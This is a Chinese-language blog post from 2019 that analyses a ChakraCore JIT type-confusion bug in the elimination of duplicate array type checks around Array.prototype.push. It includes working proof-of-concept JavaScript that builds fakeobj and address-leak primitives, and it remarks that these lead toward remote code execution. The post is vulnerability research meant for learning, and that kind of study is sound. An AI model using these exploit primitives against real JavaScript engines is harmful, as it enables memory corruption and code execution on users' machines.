本文最后更新于:星期四, 六月 6日 2019, 11:38 中午

跟着大佬博客学习Chakra

JIT优化eliminate duplicate check

test1.js

var arr = [1.1,2.2];
function jit()
{
    arr[1] = 2.2;
    arr[2] = 1.1;
}

run:

.\ch.exe .\test1.js -bgjit- -mic -dump:Globopt -OutputFile:output.txt

1559488743485

在第一次对arr数组操作时,会检查arr的类型,而在第二次对arr数组操作时,就不需要BailOnNotArray的检查了,这是JS引擎对冗余检查的优化,但是当其中可能存在带回调的操作时就不能消除这个检查。

例如:

arr[1] = 1.1
object.property;回调
arr[2] = 2.2

这里涉及到了Chakra的kill 机制,这个机制主要用于去除保存的type类型。其中对JSArray处理的代码是GlobOpt::CheckJsArrayKills这个函数,位于/lib/Backend/GlobOpt.cpp中。

1559523039710

其中有两处关键的判断,一处是doArrayMissingValueCheckHoist, 另一处是检查数组类型和element的类型是否一致,如果一致的话就不去除type信息,如果不一致的话就将type信息去除。

引用大宝的分析:

代码注释已经说得很清楚,假如array的type与element type一致,就不要把type信息去掉,这是一个比较激进的优化,而InlineArrayPush opcod通过调用Array.prototype.push生成的.简单来说就是,假如生成这么一段代码:

arr[1] = 2.2;
arr.push(value);
arr[1] = 3.3;

假如arr的type信息是float array,value的type信息是float,前面保存的arr type信息就不会被kill.换言之,在|arr[1] = 3.3;|中就不会生成|baitOnNotArray| IR,没有了type类型的检查代码.是的,这样就非常快了,比v8还快,但是安全吗?需要注意的是,在push里面不能触发回调,因为InlineArrayPush会生成|BailOutOnImplicitCallsPreOp|,如果触发回调是会bailout的.

InlineArrayPush生成BailOutOnImplicitCallsPreOp的部分代码

1559523752706

它会检查数组是否为nativeArray,如果不是的话就会生成 BailOutOnImplicitCallsPreOp,否则的话生成BailOutConventionalNativeArrayAccessOnly,因此就不能传带回调的非NativeArray的对象给push。

而这就存在一种假设:

是不是不通过回调就改变不了arr对象的类型?

###Javascript undefine

undefine是JS五个基本的值类型中的一个,这个类型只有一个值,JS使用magic value(0x800000280000002)来表示。它在浮点数的表示范围里,对应的浮点数是-5.3049894784e-314,为了区分undefine和这个浮点数,Chakra在setItem中有一个特殊的处理。

JavascriptNativeFloatArray::SetItem在dValue刚好为Magic value时会进行数组类型转换,将数组类型由float array转变成var array,而push函数就是通过调用setItem函数来设置值的。

1559525341598

在script层调用push会调用EntryPush这个函数

1559525694109

所以上面的问题也就有了答案:不通过回调也能修改arr对象类型

Don’t kill my NativeArray

但是经过下面的代码,在arr.push()时arr数组的type信息还是被去除了,arr[2]还是有BailOnNotArray的检查

arr[1] = 1.1;
arr.push(1.123);
arr[2] = 2.2;

1559531481479

为什么push传入一个float值但是数组的type信息还是被去除了呢?

这涉及GlobOpt::CheckJsArrayKillsInlineArraypush opcode的操作

1559532011888

1559531995832

它会根据doArrayMissingValueCheckHoist的值来决定是否要将KillsArraysWithNoMissingValues设为true。doArrayMissingValueCheckHoist值初始为1,在前面的操作过程中可能会改变。

MissValue对应的kill操作

1559550895684

如果arr中type信息没有MissValue,那么经过push后,还是会删除arr的type信息。这个很好绕过,只要让valueInfo->HasNoMissingValues()返回值为false就可以了。如何让它返回值为false呢,传入一个带MissValue的arr就可以了。在经过push后,数组的类型就由float array转变成了var array。

Poc.js

function jit(arr,value)
{
    arr[0]=1.1;
    arr.push(value);
    arr[1]= 6.17651672645e-312 // 0x12345678
}

let arr = [1.1,2.2,3.3];

for(let i = 0; i < 20000; i++)
{
    arr2 = [2,3,4,5,6.6,7,8,9];
    delete(arr2[1]);
    jit(arr2,3.3);
}
jit(arr,-5.3049894784e-314); //0x8000000280000002 magic value
print(arr[0]);//这个不回报错
print(arr[1]);//这个会报错,因为它引用了0x12345678地址处的内容当作对象,会crash

1559561484019

通过上面的poc可以实现fakeobj原语,但leakaddr原语实现有点巧妙。在经过push后,arr对象的类型已经修改为var array了,我们可以对它进行任何关于var array的操作。现在arr可以用于var array的赋值,并且这个赋值可以是任意的对象。

var array赋值对应的字节码为StElem_A, 查看oarr[2] = leak_obj生成的对应IR信息

1559568132152

这里检查了oarr的类型是否为var array, MissValue是否符合以index大小是否超出了范围。数组赋值时要注意不要触发StElem_A这个Opcode的任何bailout。通过赋值后,oarr[2]上有一个对象的地址,只有通过return oarr[2] 就可以获得这个对象的地址。要注意的是,这个return 返回的类型是float,它将对象地址以浮点数的方式返回,这是因为arr数组此时在JIT的proflie信息中还是一个double array。

Poc.js

function u2d(value)
{
    let f = new Float64Array(1);
    f[0] = value;
    let ut = new Uint32Array(f.buffer);
    return ut[1]*0x100000000 + ut[0]; 
}

function jit_leak(arr,value,oarr,leak_obj)
{
    arr[0] = 1.1;
    arr.push(value);
    oarr[2] = leak_obj; // arr is var array, bypass type check and NOT bailout
    return oarr[2];
}

let arr = [1.1,2.2,3.3];

for(let i = 0; i < 20000; i++)
{
    arr2 = [2,3,4,5,6.6,7,8,9];
    delete(arr2[1]);
    oarr = [1.1,2.2,3.3,{}];

    jit_leak(arr2, 3.3, oarr, {});
}
var hax = new Uint8Array(0x1000);
let result = jit_leak(arr,-5.3049894784e-314, arr, hax/*obj to leak*/);

print(u2d(result).toString(16));

大宝对Poc的解析:

在每次JIT开始之前,都会经历一个profile阶段,用于收集对象的类型信息用于JIT时候生成相关的类型检查与访问代码.在Profile阶段,我传入了一个NoMissingValues为false的float array,所以|arr[0]|和|arr[2]|的读写都是以float形式访问,换句话说,如果arr数组中存在对象的地址则可以通过|return arr[2]|成功读取出来.但是必须在第一句|arr[0]|通过类型检查,也就是arr一开始必须为float array类型.
其次,我传入了一个var array类型的数组|oarr|,所以|oarr[2] = leak_object|会把需要泄露的对象地址赋值到oarr[2]中,但是必须通过类型检查,也就是oarr在访问的时候必须为var array类型.
在漏洞触发的最后一次调用中,|arr|和|oarr|其实是同一个数组,在|arr[0] = 1.1|中,此时arr是float array,通过检查,赋值成功.通过|arr.push(value)|触发漏洞,改变数组类型,变成var array类型.在第三行代码|oarr[2] = leak_object|,因为|arr|和|oarr|是同一个数组,所以oarr当前为var array类型,通过检查,赋值成功.

最后一句是最关键的代码,我们可以看到,|arr[0] = 1.1|和|return arr[2]|中有两行代码,这两行代码必须不能kill |arr|的type信息,否则就会重新类型检查,因为arr已经转变成var array类型了,如果此时有类型检查就会检查失败然后bailout.上文已经详细分析了如果arr NoMissingValues为false,|arr.push(value)|是不会kill arr的type信息的.所以现在剩下|oarr[2] = leak_object|这句,对应的opcode是StElemI_A,|CheckJsArrayKills|代码如下:

1559569852860

我们可以看到,并没有任何情况会kill array的type信息.所以到最后没有任何类型检查,直接以浮点数的方式访问已经变成var array类型的arr,返回刚刚赋值的对象|leak_object|,将浮点数转换为16进制,即可得到对象的地址.得到这两个原语以后,距离RCE就不远了.

REFERENCE


JS-Engine   CVE      ChakraCore

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!